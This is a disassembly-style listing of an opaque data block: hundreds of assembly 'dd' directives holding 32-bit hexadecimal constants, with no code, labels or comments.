dd 0A6B2095Eh, 0C48590AFh, 5D7FC25h, 53E1E874h, 7352E5F6h
dd 36CD3A3Fh, 0E1A56913h, 997C911Fh, 172EFF29h, 0ADFEF457h
dd 1DED2BCDh, 74AE564Fh, 5DF05A8Dh, 7949A63Eh, 8E3E91E5h
dd 1EC8079Dh, 68E33AADh, 0F50A7970h, 8491156Fh, 451E49AEh
dd 0E8D94CCAh, 3408B834h, 2C840CC8h, 83747660h, 0F9A250F8h
dd 837217DAh, 8B280944h, 0ED56B9A2h, 432433FEh, 19C750A2h
dd 0CCF2C4BFh, 0FD455A81h, 7BEFBB5Eh, 95CF588Fh, 58DB49E1h
dd 4322BA3h, 0E93F69D9h, 1C2CD93Ah, 8213AF89h, 222C3CBBh
dd 77EF50EDh, 0B98873A8h, 15248AB3h, 2334F899h, 885C771Eh
dd 64679AABh, 0AE0A209Bh, 2315BF58h, 9BCC9BE5h, 12EBE2E3h
dd 0B8FB8260h, 97E837F9h, 0F20FC61Dh, 52C331CCh, 319F1CBEh
dd 564E4FA5h, 0C5E3F5E1h, 1640597Fh, 0CA06288Dh, 0A16D4A0h
dd 0E14D6D2Dh, 0B00D5A65h, 0D19212BBh, 64B21B71h, 1451B4B8h
dd 0A7129ED5h, 5D610A15h, 0CAB39D63h, 0D5575286h, 6F4D317Ah
dd 15E65628h, 7DD55A7Dh, 0E6742EBBh, 60A8A347h, 6AF6C58Bh
dd 1E196C43h, 0C5CF0407h, 0A369E916h, 5F399BF6h, 7C992A4Eh
dd 2C4DAEEBh, 1AED61DBh, 6D295033h, 0C95B4C8Dh, 7EAC5278h
dd 0D2D02E7Dh, 46C642BFh, 1625125Bh, 0A9B1FF51h, 76FD9C9Dh
dd 2D230EE9h, 0F5D6148Eh, 13E2231Fh, 0D98171B9h, 0E812E36Ch
dd 0B1B10714h, 9792D51Ch, 0B934EFFCh, 1EF4F7Fh, 0F9C11793h
dd 39596B3Bh, 0E7A5E3C3h, 93A3E82Ch, 0A29B0100h, 0FF7A9277h
dd 0B008DA16h, 0D026F24h, 0ECDCE407h, 0D58C23BDh, 0BABB3C28h
dd 6E618F4Dh, 0C4041011h, 0E515C992h, 4EA0A5B3h, 0C0F952D5h
dd 0C9745003h, 3C306E4Fh, 35212FFCh, 0FECE448Ah, 0E0EBFD32h
dd 16F04388h, 48B19D93h, 1129D116h, 1604095Dh, 7CE7FF8Bh
dd 57670DCCh, 1FB9D338h, 4A3A018h, 63F25308h, 7F25F64Eh
dd 8AB43DBFh, 81935ADFh, 4F2FBC5Fh, 0E1CFDE47h, 0A34F4812h
dd 11E3C019h, 0A87A2666h, 788C9C4Ch, 18A88692h, 0A2F17082h
dd 75341150h, 54CB2244h, 0C205A326h, 7EDADBAFh, 8E92DB08h
dd 0EB51E0Bh, 33A4D580h, 0DF14B517h, 2C8EA795h, 9340B29Fh
dd 15596D7Dh, 0DC4EFBC5h, 0C12D8171h, 0A6AD9653h, 474FF1A4h
dd 0B9C8D927h, 0FA5C8F30h, 4194419Ch, 0D89AD90Ah, 0F68B9AEAh
dd 16F95603h, 7919DB28h, 0BF5ECC44h, 5B145861h, 0D3A44E63h
dd 925DD3Dh, 28364C69h, 6CBC58E5h, 110F505Dh, 0A607E8E3h
dd 47A98BC3h, 0F51477E1h, 42A57EEEh, 61C6A1E3h, 679A4098h
dd 2BBFD2A6h, 2E86548Ch, 3736E670h, 0C7159CB9h, 0FCD19B86h
dd 0E519DA58h, 2D69D6E0h, 53ED8E5Fh, 41018F48h, 7A78E4CEh
dd 67AB00F5h, 750A41A4h, 74F2C71h, 19464C68h, 8C43A133h
dd 1C63836Ch, 39555DFAh, 0D17902C4h, 2CB0DF39h, 0C7BA794Fh
dd 8529709Ah, 6D68D3DBh, 9F6AEA33h, 0C34E011Eh, 0B27E8D98h
dd 45719D3Eh, 0BCE0E518h, 3AF33CBFh, 0B04C2700h, 0EF418160h
dd 0B5545694h, 327752B4h, 0EAE84050h, 9A09A5B9h, 0F8AFF989h
dd 56799094h, 558D0016h, 90BB95E0h, 0B3E955D0h, 70DE856Ch
dd 0E4FFD85Bh, 49ED4B8Ch, 0C83F185Ah, 0E8B3891Ch, 0C8CD2C44h
dd 36CDA633h, 82621808h, 0AA4988D0h, 85C8B98Dh, 0F30B82AEh
dd 32E7B2A8h, 0F2E9C372h, 4270C74Eh, 74671D0h, 0E885245Bh
dd 46155914h, 0DB964124h, 9636A464h, 0D437BC1h, 0D42D471Fh
dd 0C469890Fh, 9260DE8h, 7C7103A1h, 92D70CD3h, 4CE15CA1h
dd 5EB99127h, 4CF5111h, 0EBCDB763h, 2A95A3CDh, 0B42519A7h
dd 0E48E723Ah, 0C27500BDh, 195AD707h, 9719C546h, 0DF3ECA97h
dd 657C03C9h, 0C596C185h, 0F73B015Fh, 8C4D80DCh, 0D890C1D3h
dd 0D2A92069h, 629BFFF7h, 0F74FA5E0h, 0D14B5AEAh, 0CB8E3C36h
dd 3E072D6Bh, 10FE4728h, 0B870ECDFh, 1C727C23h, 0BDDD2A38h
dd 19270996h, 0FC699A29h, 41797FA6h, 0D16EED47h, 0B7BA9038h
dd 328F7CEEh, 0FF35695Ah, 0CE58A1BAh, 0D64D7045h, 188673AEh
dd 0B5044DB7h, 81CF3F0Fh, 952C1FA6h, 75F9B06Fh, 84ACECDBh
dd 5DC08339h, 0BC7688ABh, 0E9B589CFh, 0B7CA375Ah, 59EA11ADh
dd 0D5510D2Bh, 0A98E607h, 4E2F1693h, 0DE5E2A9Ah, 21FDD3A0h
dd 336D5446h, 342B178h, 9820A63Eh, 5B45EDC7h, 449F4AD7h
dd 7475CBC1h, 0DBDA6EECh
dd 0DC9CF780h, 0D3C36BFEh, 75CE73E5h, 0A829F97Fh, 4D66C316h
dd 522D714Dh, 9C13732h, 57308429h, 2F1FF698h, 0CC2F5577h
dd 2B02C50Eh, 0AF5943D1h, 3E4F8C88h, 0BF1E9F98h, 3FC45E54h
dd 29EF83AFh, 0E79554C2h, 0C39BD277h, 7E27233Bh, 36911E54h
dd 2930A714h, 3FE296C2h, 0FE2A63FBh, 0A0357DCAh, 0CE7B3700h
dd 0E2CF3B72h, 0A13F0A97h, 2372B7Ch, 110058Dh, 4BDA44C4h
dd 40634E93h, 0BF17A12Ah, 0F8C69417h, 0A47EDDEBh, 4B82DD18h
dd 0A3DAA5CAh, 4B715BD9h, 821AB0FFh, 65248DDFh, 1ACA6C7Ch
dd 0E65D3176h, 197527EBh, 0A07B51AEh, 0A55A5D72h, 0A01032CBh
dd 21E3BD88h, 0AD04D3A3h, 1BCB7F20h, 6476680Ch, 0CE932575h
dd 22C2429Ah, 205169DAh, 69D7EEE0h, 2AD7BFDBh, 7FF1D540h
dd 7CDE92F1h, 7C0DB84h, 21E14509h, 0FE9AEF52h, 5F4076FDh
dd 1D9A126Eh, 0DE3BE80Ch, 65CC27E5h, 7731DEFFh, 0E9EFDC68h
dd 838AE2F6h, 48AB7A1Fh, 3749854Ah, 324A98D6h, 99A7A477h
dd 1729B406h, 0B5C02CEBh, 0B2D3535Ah, 732A034Ch, 2D323C00h
dd 0DBFE8182h, 7FA7E37Fh, 1DDBF452h, 0A1F54751h, 0BEBB9417h
dd 1D6D4F01h, 0AF6D7BEBh, 83C77462h, 0BEBB4F74h, 12579A87h
dd 0BE2B1824h, 7E25C98Ch, 0A0EFF7B9h, 0DEC29AF7h, 0AB91B695h
dd 0D015787Dh, 4C62CB88h, 9EBF943Ch, 11EBBAE3h, 0FDC1B0CAh
dd 0EC861EA4h, 0C5DC507h, 0D2A99DBEh, 37AE7FB8h, 0C65575C3h
dd 7903A1AEh, 0EB7AA7C6h, 894C22ECh, 35F87B7h, 92A8058Dh
dd 607303C3h, 6444AC25h, 4D170248h, 9709F361h, 2845DAE7h
dd 0FC837D41h, 87607E19h, 0FF196056h, 56C844A8h, 98C183E2h
dd 10D88F57h, 0E8F22533h, 0CE86374Fh, 161F657Ah, 9B89FA07h
dd 7958837Ch, 3FDEA8BCh, 94E50D16h, 0A2B2EC1Eh, 5F159E4Ch
dd 2ACD8470h, 7FC190B5h, 953EBD8Dh, 47CCB5A7h, 0A3A3A143h
dd 2478BC84h, 95CD2C4Eh, 5AA027CEh, 8F605F62h, 8FFCEA53h
dd 3B272F8Ah, 3CF3C309h, 798E0ADDh, 0A269F41Ch, 389EC3E9h
dd 217E7D01h, 0E59290A3h, 94649F77h, 456B9C86h, 0A31253F1h
dd 0F7C24FCEh, 0E1FFF0E4h, 0DA625AA1h, 5E9FD7FAh, 0DB0A452Fh
dd 4BAEBD17h, 5FABBFFCh, 7963D9D0h, 4ABE7E3Eh, 8E4B6268h
dd 0DDB086C2h, 0B1EB8D98h, 0A020D543h, 0FC35B684h, 0B1654CC7h
dd 5CDEC38Fh, 45BC148Ch, 888B0B1Ch, 0E532CF07h, 0EA4ABC46h
dd 3A0F567Dh, 34B63CECh, 36E3142Eh, 0A93D35D8h, 84D409CAh
dd 0E804646Ch, 776B4D48h, 0F7F5A6C8h, 6CF7655Bh, 20B3264Ch
dd 0DED0914Fh, 35072613h, 1B4E8875h, 32274B22h, 0DDA13FB4h
dd 0C06AB922h, 13A09E1Bh, 0AFBC8636h, 0C8EFF4FEh, 7CFE9D06h
dd 76A337Eh, 0FEA64597h, 80B446F6h, 25481368h, 15B1CE16h
dd 0AD13A954h, 0F5C1EEEBh, 41DB006Fh, 0F011CDA8h, 66E6CC46h
dd 484D724Eh, 4CFAD69Fh, 0C1F209B7h, 9C7D2671h, 0B461F432h
dd 0F155C2DFh, 0DCE32E84h, 24D0B393h, 3F652EC0h, 0ADBD98D3h
dd 27544C5Dh, 9B17834Dh, 0ED3060D0h, 9F3A1B57h, 17765821h
dd 580C669h, 0FA6DC5Ch, 80145440h, 25D02427h, 0BEB31F48h
dd 0D98DE379h, 33D00ADDh, 0A304F244h, 9AB3F16Dh, 1D8AB1D0h
dd 2EDA0890h, 34688944h, 85FC9DE6h, 0A7D9808Ch, 0EC859C5Fh
dd 0D3ABEC32h, 0CFB56DAh, 0ED6F017Dh, 2A62DA13h, 9159D937h
dd 5F4B8A0Ah, 24072689h, 0E93EE7A1h, 202E20ABh, 7D44DC35h
dd 2FB8C859h, 7B5656F4h, 0EDCA611Bh, 7FBC7146h, 0E8E9694Ah
dd 4407B7BDh, 1F902C07h, 0E51C4B87h, 766DDF9h, 0B9CBB6EFh
dd 1C4391C2h, 11A7AA5Bh, 0A2FFFE6Eh, 16DA4056h, 4350C0A9h
dd 7E23DFDDh, 36D96Dh, 0C3D06C04h, 0EED0B4AEh, 90E989A8h
dd 13A01162h, 5292C3E2h, 0ED69504Fh, 3D5AAD6Ch, 3E40DBECh
dd 0E467BA13h, 9CB43711h, 11CCCBB1h, 8F76F639h, 0A73A9D75h
dd 2BFA7434h, 6C010F6Ah, 9C503D04h, 0EC984F87h, 9B2F7959h
dd 0A9B6CBEh, 0E855E9B5h, 9575D5C0h, 8608B879h, 1168F699h
dd 1522F5CFh, 0DA093553h, 7347DD70h, 967B2D00h, 22F7BB3h
dd 59281E4h, 82385090h, 0FBDF63F2h, 90B4A56Fh, 58A08039h
dd 2D37E119h, 0E8EDC45Ch, 3420DAEBh, 2AE222ABh, 1E865B44h
dd 948AE42Fh, 4E3C3751h, 7E5D7BD9h, 0B99004E9h, 0F5CCDEF8h
dd 2215D2Fh, 3CA89C16h, 0B1AE6EF6h, 0A537520Ah, 0B551C617h
dd 914F8416h, 69D851F7h, 9384817Bh, 0B887FA6Ah, 0B96E68Eh
dd 2562BB88h, 0DF0BBDC6h, 0C18CABD3h, 0C1A300E8h, 8157CD4Dh
dd 0B407A11Ch, 20629B1Ah, 4ADD83Ch, 7F3167FCh, 6D738FAh
dd 0A4C4AEA0h, 0E4A0D74Ah, 0AD0C228Ah, 96205FCBh, 93C74690h
dd 0CB77718Eh, 0B432E258h, 0D40757DAh, 113A0C38h, 0CDB7E051h
dd 0FF0EF70Fh, 2878E712h, 0FFD75FA1h, 3A52F451h, 0E2141EFDh
dd 0D25C621Ch, 3470011Bh, 29FD9CE5h, 8ED9DF1Eh, 1C48CAFCh
dd 9BAAACBCh, 4247163Ah, 0EC7FEF88h, 0C85CB382h, 0BAE34B16h
dd 0CDC4E4F0h, 0F9506375h, 285B0851h, 6738896Eh, 835A182Dh
dd 9D5097FAh, 0BD34718h, 4A13E1B4h, 563B6A0Dh, 0B6477D27h
dd 0F6BD154Ah, 181D7C48h, 89563FB7h, 0F139059Ah, 49F898ADh
dd 116FECDh, 0B131C024h, 733C390Eh, 0FD530EA4h, 0BFB307D3h
dd 0ABD8888Eh, 479327F6h, 0BBE07212h, 5697B10Ch, 5A4F91FFh
dd 0FE1CE41Bh, 3A765384h, 0E702AA15h, 3331B940h, 0A763A1E4h
dd 0DCC24089h, 2EF70BA2h, 0B2354D2h, 8F2CC0CBh, 788D503Fh
dd 0F2860112h, 0A0397CDAh, 0B812A11Ch, 0D6975DEDh, 0D78E9394h
dd 6C03BCD9h, 0DB44E192h, 793A5717h, 25134D57h, 602F30AFh
dd 4ECF732Bh, 0F7ED7EF4h, 8D6AB5F8h, 0FB8F5CE1h, 83A06400h
dd 6D691095h, 0F7D96F63h, 99422E11h, 73E73162h, 269C5730h
dd 3CF7ACF7h, 2941B036h, 6147BFB8h, 889C5EFCh, 18A2E395h
dd 1D1AE108h, 0CFB866DBh, 1E13946Bh, 0BF2B2326h, 71156377h
dd 7A64202Dh, 23B852AFh, 5FDEA69Ah, 14E553B2h, 0F45BDC6h
dd 19867E1Bh, 0EE9F0B20h, 559FDEE7h, 0AABAB2EBh, 0A56D350Dh
dd 0B54CD28Fh, 8825864h, 0DFC5A164h, 0EE11E766h, 0E1E92A92h
dd 0C6004712h, 0A168591Dh, 11FB8DCCh, 84547525h, 7A817A35h
dd 0F5D48CBDh, 9AB0C8D4h, 0CA6B164Ch, 71EC8B30h, 0C15C6DEAh
dd 9CF3BEE9h, 6D222BC8h, 0F06C2501h, 0BE526EC7h, 2A9DAA8h
dd 2D22CC15h, 96A3EB08h, 4C2990AFh, 0F1D59D50h, 4BCC0617h
dd 0A3E12B45h, 0CD8BE899h, 99D9BD01h, 359B878Eh, 0BD28F2CDh
dd 613C06EBh, 9DF044A1h, 7A4BA2CAh, 0BB7FA41Ah, 0E6A66310h
dd 0C76115C4h, 26791E9Fh, 11577B9Fh, 0A9704A5Eh, 3FE2DACh
dd 42E556E2h, 0A23339C5h, 1B68B9FFh, 0E732951Eh, 0E2A877Eh
dd 46DEE061h, 8DA8FE7Ch, 69E0F4DEh, 467E36A6h, 9A6BC1C5h
dd 4E6FEAECh, 4FC51014h, 0C2826280h, 816C1E49h, 0E6EF4F72h
dd 229CF954h, 3781646Bh, 1C91E825h, 8F36B9EDh, 0CFDD39A9h
dd 8409DD5h, 2CCD41BBh, 0CF0C0489h, 5E42B274h, 0F76E91D7h
dd 0BE8AA07Ah, 0B8DF0D38h, 7E68C13Fh, 3F4091EBh, 4B38E9D5h
dd 11AAF73Dh, 0B252C55Eh, 31DC8FF7h, 1C30B103h, 98361A5Eh
dd 5AB7F519h, 3BB1785Fh, 0B05FD94Ch, 0CAB9788Fh, 0D674702Ch
dd 0A305A61h, 15388FF2h, 0FC9E15EEh, 1A7E69CBh, 0CAA02577h
dd 4401BC02h, 0E318DDF6h, 32CF68BCh, 0A124466Eh, 0FC4DDF81h
dd 0E5E5E555h, 0CF8C4BBDh, 0A67941ECh, 49429E03h, 845041D1h
dd 378FCFB8h, 3890ED70h
dd 79C4A877h, 0DBA1C05Dh, 0D7C4061h, 8B5FFB34h, 99EDE3C3h
dd 41C9A08Eh, 9F5DF735h, 231B1226h, 4050CCEFh, 0B95870FDh
dd 0BE96E6EEh, 234387CAh, 8AEC2F7Dh, 5D7DA1Ch, 5ED18158h
dd 95B28771h, 0D410CCF9h, 8A4971CAh, 5ECA42DEh, 3A3CB3E2h
dd 714C0903h, 802BFA8Fh, 7C4539C2h, 91F307D7h, 0E4922973h
dd 0EEC996DFh, 0FB044924h, 65FB6E95h, 0FE57DAF5h, 0A2B8ED1h
dd 47C5BE9h, 3212FFAAh, 6AE59241h, 0B6BE7AF9h, 0E6B5EDF0h
dd 8D87EB15h, 0E3D74C64h, 4E0B2299h, 0E8363EE9h, 674EDDEDh
dd 63EF6A24h, 7DD937E5h, 0C220F8F7h, 0F66CCB0Ah, 62FEDC54h
dd 0D1C14736h, 844C72EDh, 565935B2h, 0E815E739h, 0B0AD54A1h
dd 0D92F70Eh, 3369A032h, 33042B5Bh, 0B464E8D2h, 0D8078EE9h
dd 92CD5CB5h, 0E552D05Bh, 38345721h, 29FD9E9Ah, 7CEF60FBh
dd 0D6213A0Bh, 0D373973Bh, 0FC53AB83h, 2091393Eh, 0C4E10F5Bh
dd 8DC191EDh, 0F499E4FBh, 0A2EE3401h, 74E68B28h, 9B83E4C8h
dd 57ACD71Ah, 4434A207h, 0BB5849A6h, 519B973Bh, 9EE4DA3h
dd 0D22B4662h, 0EE6BD3Fh, 0DDCC726Bh, 5597E4A1h, 0DA02B06Ah
dd 99A2C338h, 0F8ED57C0h, 201F4130h, 54EA4F98h, 0D91C458Eh
dd 71B09AA8h, 50EF47F5h, 40DD1D66h, 8900ECB2h, 48DF9081h
dd 175BC3C3h, 0BFBD5479h, 473C0C5Fh, 71B7EB89h, 2AC53E81h
dd 766B9052h, 0A7756E7h, 0D1E76247h, 0D4446C74h, 5597E867h
dd 2A2E7FEDh, 0C1047422h, 5943C80Eh, 8275D082h, 629A8228h
dd 0C44D98CBh, 340C2E19h, 58EE3107h, 0C7D555A2h, 8CA5615Ch
dd 33415CD8h, 0B35240F5h, 364D84D7h, 0D59246C8h, 159B086h
dd 0EE9E72FEh, 1262E162h, 0A13D966Eh, 1F372900h, 0B4199FB7h
dd 6606342Eh, 850C0C5Eh, 68E49486h, 45212771h, 95F91FC6h
dd 5736D3F4h, 97277C45h, 4295F323h, 0EC1F86D8h, 3190152Ah
dd 1A360486h, 0B8EB9467h, 9E5AC04Eh, 0BCB79395h, 0B9DCA404h
dd 2C2D8393h, 0C169DDCFh, 49ACF466h, 63549C23h, 27F698BFh
dd 0AA033E8Fh, 4A6E875Dh, 30490575h, 0AB6D3498h, 0D79B0813h
dd 0AD7632CEh, 0A55B33E5h, 0AE131007h, 10A54B7Fh, 0BF34E2F1h
dd 0D74C7EACh, 19AEE37Eh, 7A2E859Bh, 6977AED4h, 0E1376054h
dd 0DA5137CAh, 0B85ADD10h, 0F5BDE73Bh, 93228422h, 5DAF970Ch
dd 43279531h, 8E635300h, 7C5FAFC3h, 9B8D1A35h, 641D92CBh
dd 4DC1ED2Dh, 463E6F6Eh, 90210352h, 72A2CF37h, 2FFF87B6h
dd 0BD0AF0D0h, 1F0B38A2h, 0DC4154FCh, 83A0B11Dh, 0E23EEE72h
dd 52529EB1h, 8DC10B07h, 0EC805DCDh, 0B334DA4Eh, 54A28B69h
dd 2E0CEF9Fh, 2BAD0020h, 0F8B75A81h, 5F90A20Dh, 0C67EBC20h
dd 2AD6630Dh, 4D305637h, 1956C8A2h, 9C33F0F9h, 45133B9Bh
dd 70F90436h, 2DFD95Ch, 0EC47FDE8h, 73513C03h, 0C81AD62Dh
dd 2C11DEFEh, 2374D5BAh, 0BD79B15Dh, 0D1315033h, 4F602865h
dd 7C0609A9h, 772A2247h, 0E2FE5E74h, 1F925B4Ch, 2DEE4611h
dd 0F41C8560h, 0B7C7EE37h, 83E583D0h, 0EC6DCA5Ch, 0D5C265B7h
dd 0DAFEC53Eh, 0FA9B56A0h, 9FCC43C1h, 10571886h, 0F0103402h
dd 136307BBh, 0EB437E9Dh, 55BD7CF1h, 1B6A8B43h, 0BC79CC6Ah
dd 3B0773BCh, 0D6606E69h, 74BE6DFh, 55406F52h, 0AB879447h
dd 75D2405Eh, 46C9E982h, 0CE45D52Eh, 978481D2h, 0A886B4CEh
dd 0FAA177FEh, 0F798EB82h, 249D74A1h, 0BEC65235h, 0F6595AA6h
dd 0F1131551h, 70523B54h, 0B1C1E193h, 0ECAEF55Eh, 1A5B075Ch
dd 78F96F62h, 6989B2DCh, 0A60FD202h, 2438948Ch, 6B93EE0Fh
dd 8AEE8590h, 4F4855DCh, 10258854h, 96409E16h, 80A63967h
dd 358D2214h, 3AC53287h, 381C3448h, 0C12FEC9Eh, 0A664D71Ch
dd 57A78B2Ah, 2D922C7Eh, 2EDA32C3h, 0ADD470F2h, 0A1AEDE8Bh
dd 80BC149Fh, 7635B71Bh, 0DAC44B7Eh, 0B1E0E679h, 0A1901EEh
dd 0ED12CAEFh, 6F359448h, 44A41EFFh, 4E3C1AF2h, 46DCA15Bh
dd 5BD68430h, 0BD9CE392h, 0FCF42862h, 0EC525BEFh, 7F9D83Ch
dd 0DA6518Eh, 0DDA94541h, 5B2116E4h, 0F5250A23h, 1E167F00h
dd 0D989B6B4h, 0B2D85464h, 8AA23B75h, 0D07AF194h, 0B0153523h
dd 0C7840627h, 2FF7327Ch, 0E814A3FAh, 4AE2B8BDh, 0A0C36D17h
dd 37C52ADFh, 82417D0Ch, 53E614DAh, 545F0DADh, 33004C1Ah
dd 21805EA9h, 0C76FF7A4h, 36BC9E42h, 2B4BC561h, 0B7D3947Dh
dd 24862F32h, 0A04263A3h, 62F299FCh, 0C3B4ABBFh, 72E7F2EEh
dd 5FCB9DDCh, 0BB720B73h, 1B1B97BAh, 0B303422Fh, 8B82B5CFh
dd 25AEF794h, 0E0CC2743h, 1E2FB23Ah, 9F6E222Fh, 80B938D6h
dd 1C9D7AADh, 0D5EA8093h, 0F09957EFh, 397E6EEEh, 73CA8B5Dh
dd 2D97574Fh, 0DC7B1DC3h, 0FFC17Ch, 0CFA51D90h, 81F0F76Eh
dd 0C261760Bh, 31A93FD3h, 95E084ADh, 72FF4AF0h, 0F77C73Ah
dd 0C4C36BC2h, 0C73A4B7Ah, 0B4BED5D1h, 0B57860DEh, 6DA0E55Fh
dd 0CB409BCBh, 0FECD3D7Eh, 7548D38h, 4E34090Bh, 2C11742Ch
dd 4BE52C31h, 0D2D6DE0Eh, 10A124D0h, 5A5F8D7Eh, 5AD086EFh
dd 6EF16BA6h, 0EE34BFA4h, 2EFCE4C1h, 6109EA17h, 5D9E4347h
dd 0B4084B62h, 353E52Bh, 9B79828Dh, 50C2CD92h, 85C793B7h
dd 0F3200025h, 19576241h, 540DF07Ah, 161833CFh, 482A97BBh
dd 0C806F452h, 798F82BCh, 0ED511E57h, 0E6C2F4Dh, 29255F55h
dd 96D222FBh, 35B4D0A3h, 0F7C345C2h, 32A53943h, 0F142E7Eh
dd 0AEB9C9D7h, 95190FA5h, 0A07CBC77h, 0D613213Fh, 0A8FCCAE0h
dd 45D28689h, 43078B58h, 12E042B1h, 0F62AD794h, 0AEA7AB2Ah
dd 0CCAC2A8h, 2CA50AEDh, 5271ED13h, 558522CCh, 828B25F6h
dd 821BB042h, 20167215h, 7C03FE72h, 47D81BB3h, 4DC7608Fh
dd 0ADB88288h, 9D7B6F62h, 0F5138323h, 0DB73765Dh, 8C2F5D4Eh
dd 45579F84h, 1A1AD2D8h, 0B43BFFA7h, 10A09983h, 0DC1A8716h
dd 5D5EC5FBh, 3F13D891h, 2CB2BC52h, 5D061A8Dh, 0A79E050Ch
dd 3E633484h, 53CF1452h, 0EAB5EA10h, 0E63665C2h, 0CFF9B285h
dd 0C854D528h, 0CDBB9083h, 0F0D643Ch, 2083A2DAh, 0E408631Ah
dd 20D23B58h, 98A42EBDh, 89733142h, 0C148FD71h, 0B08FD635h
dd 183F474Dh, 257F5699h, 2AEC9CA7h, 2EF2ABA7h, 2B9C61C8h
dd 23AC8E5Eh, 0EFBC3931h, 0B2E1946Ah, 0F634E551h, 46644E35h
dd 78B52FC8h, 0C5E63568h, 4AA3EAB8h, 2858EE9Bh, 0AACBA01Ah
dd 5B8DA819h, 3E94D8D1h, 4844C131h, 1488592Ch, 3C0090D8h
dd 5C6FEA7Ch, 0BC5493h, 96C35408h, 44854B5Dh, 64D6F255h
dd 33491646h, 4200122Ch, 74136FC6h, 0BF0BABB7h, 63ED9B05h
dd 86584A70h, 21A0E45Ch, 0E534C38Eh, 9F489AF9h, 8840FB07h
dd 415EEDFAh, 2FFC510Dh, 69BB1943h, 39BB775Eh, 0A27F91F5h
dd 0F781D683h, 483D09DFh, 7698AE0Bh, 0D888AB07h, 66FB88A1h
dd 0C7B9E80Ch, 0C5D2BFB5h, 62A10439h, 0A206E213h, 0CFFAF1F3h
dd 25BD3A61h, 0BECBCFD0h, 43F51168h, 82B699FCh, 0E8DE4AD0h
dd 3251954Dh, 465C1131h, 0F3D5516Ch, 0EC737845h, 3BED419Ch
dd 8B9F57AAh, 3F424F83h, 0CF4D4BF8h, 0EC930EE6h, 0BCBE3803h
dd 0C64729Ch, 2D4BEEA1h, 11F0F562h, 0AC34EC84h, 32565EEBh
dd 0B48E2069h, 97420226h, 707B7D64h, 43D7E103h, 0B4A46ED3h
dd 29AA7A37h, 5563F8BBh, 0E50CAFDFh, 79230D5h, 9CDF60D4h
dd 2FA92314h, 0EBC29DF7h, 7F0D16ECh, 71AF37E5h, 87B85FD5h
dd 2525D59Bh, 0CA13B266h, 0FC4F68C5h, 9E5A3B81h, 36E8A178h
dd 0D4893D12h, 0C0EC2446h
dd 86E2AD17h, 4A945C1Ah, 0C6B091E5h, 579B4287h, 8164DD68h
dd 2A2A8126h, 74622733h, 0E3295722h, 54879E80h, 0EA68EBF5h
dd 0B3C2B4F8h, 0E3337FFFh, 1780E547h, 0F97F6511h, 8042FC14h
dd 0D4DA6145h, 28EDFFE9h, 0F2665DF4h, 0E573FE15h, 0A605A9D6h
dd 0A93FA793h, 2A9658BCh, 68110C1h, 0FA3B49A6h, 88E2F1D6h
dd 0D43557FEh, 1D91877Ah, 12D615Fh, 0BB4C602Dh, 0AE57E13Eh
dd 30839EBBh, 1B3A6BF7h, 0FB394EDCh, 65DE38C2h, 0AA64A062h
dd 0B596575h, 0AAF96730h, 7066D364h, 5F74E1Dh, 7CA4CC33h
dd 0EC7285DEh, 0E8CBE123h, 4928247Dh, 0B96CEB41h, 2DCC435Ch
dd 70AFF0E4h, 887DD785h, 203D547Ah, 5DC93C15h, 3AD09C5Dh
dd 0E5EA4D74h, 8D4BBAAAh, 0D018FB80h, 7E19E85Eh, 0BF12F595h
dd 318CA695h, 189C487Ch, 1029CC2Fh, 2E55163Bh, 0BAED0512h
dd 0C6B55401h, 2ED9E65Ch, 49FBFF6Dh, 88967AE5h, 3936E7CFh
dd 0A2E8AF48h, 679F4996h, 0DC8DC53Fh, 4FDE19CBh, 9E5692ACh
dd 2D576F5Dh, 0F2606663h, 0D02C6F2Fh, 0E19851B0h, 2D597771h
dd 6AF87203h, 354B9771h, 5482B0CFh, 0F2D4541Ah, 0C0FB0B9h
dd 0B0559D46h, 0C930B7D0h, 0BBB4000Ah, 0C59BE9AFh, 4DA87054h
dd 0FC213779h, 0CBD7FF86h, 0BC59AB63h, 535BEF56h, 4D86EFD8h
dd 0C8F083CBh, 3CB721E8h, 0F5885C01h, 8B3B1A47h, 986D4737h
dd 0EEFC4A98h, 6B1520Ch, 7ABFA36Ah, 265CDB45h, 0B3C919ABh
dd 0AD57F694h, 277F2F4Eh, 0FA1BAD64h, 349B1A2Eh, 395AA95Fh
dd 7CAA6198h, 0DE818CE3h, 0A43BA63Ch, 7651328Ch, 0E10D8A85h
dd 0F3C407C4h, 0AFA6E467h, 0D7C9EEDAh, 8519CBCCh, 3B91D904h
dd 55DB2CA0h, 0B981CC7Fh, 29B5F759h, 8FEBC3EAh, 948BC9AAh
dd 0D52C8A4Dh, 56195675h, 6B4A14h, 0A328DCDAh, 4F68EB3Ah
dd 6AFC8D29h, 0E0C6EC39h, 1D092409h, 46D9791Ah, 5AB3E088h
dd 12EA332Dh, 0D6D1266Bh, 932CF7ADh, 24117A79h, 876D62B5h
dd 8818FA9Fh, 0ED3209E9h, 0FB1202CDh, 2456FC0Ch, 0C726EBBAh
dd 0B913602Eh, 5420EA31h, 0D2A8AEB0h, 76E01BD3h, 52BBBF6Fh
dd 0F27364EAh, 2CDEF2F8h, 0D90C4E20h, 0D5837D86h, 3383F123h
dd 9ADA4A49h, 2F08B4D1h, 67D3101Eh, 36F9F2Bh, 0E595843Bh
dd 5ACE3AB8h, 5346EF5Eh, 0C947E09Ah, 7A47ACAEh, 83DD699Dh
dd 5B769AA3h, 945064F6h, 0C2724C54h, 0E3E9366Eh, 876DDE04h
dd 6CC385BBh, 51E426D4h, 0EF348DDEh, 83E8DBAAh, 0A932F817h
dd 99438A63h, 3926803Ah, 676EE255h, 0B9C7F54h, 22E506C4h
dd 5A13EEDh, 0D1CC45A1h, 6BB1603Dh, 0A94E5008h, 292FF8F8h
dd 973063A9h, 7314815Ah, 0F8BF216Eh, 99557929h, 0BCE41A94h
dd 0A986B733h, 5C937684h, 0BA441F0Eh, 56769C06h, 3C7B3896h
dd 6EF5A8BCh, 0B0738566h, 0BEB5195Bh, 0D32CEA97h, 0DEFC5A61h
dd 4CD559A5h, 0CB37760Dh, 7DF8A790h, 3E1A7ACFh, 28DE41D9h
dd 4011FA68h, 74F9994Ch, 8DBD3D0Ch, 0ABA85E42h, 4BE46C5Bh
dd 0A7EBDFBEh, 60396CEEh, 0E1351ECDh, 0FA0973BAh, 0F0BC02FCh
dd 4D2449E2h, 767AD74Ah, 3AF0147Fh, 0DF46032Fh, 1313AB7h
dd 0CF7741A7h, 0E8F65425h, 0A6207DF4h, 0A2A98DE3h, 2D45B21Dh
dd 0AD8C35D9h, 539F27F2h, 8419E3F0h, 0A6FCC7FEh, 4106A790h
dd 0F3D0E40Eh, 98918395h, 0BA6A05B5h, 49808EB9h, 0E409BCCEh
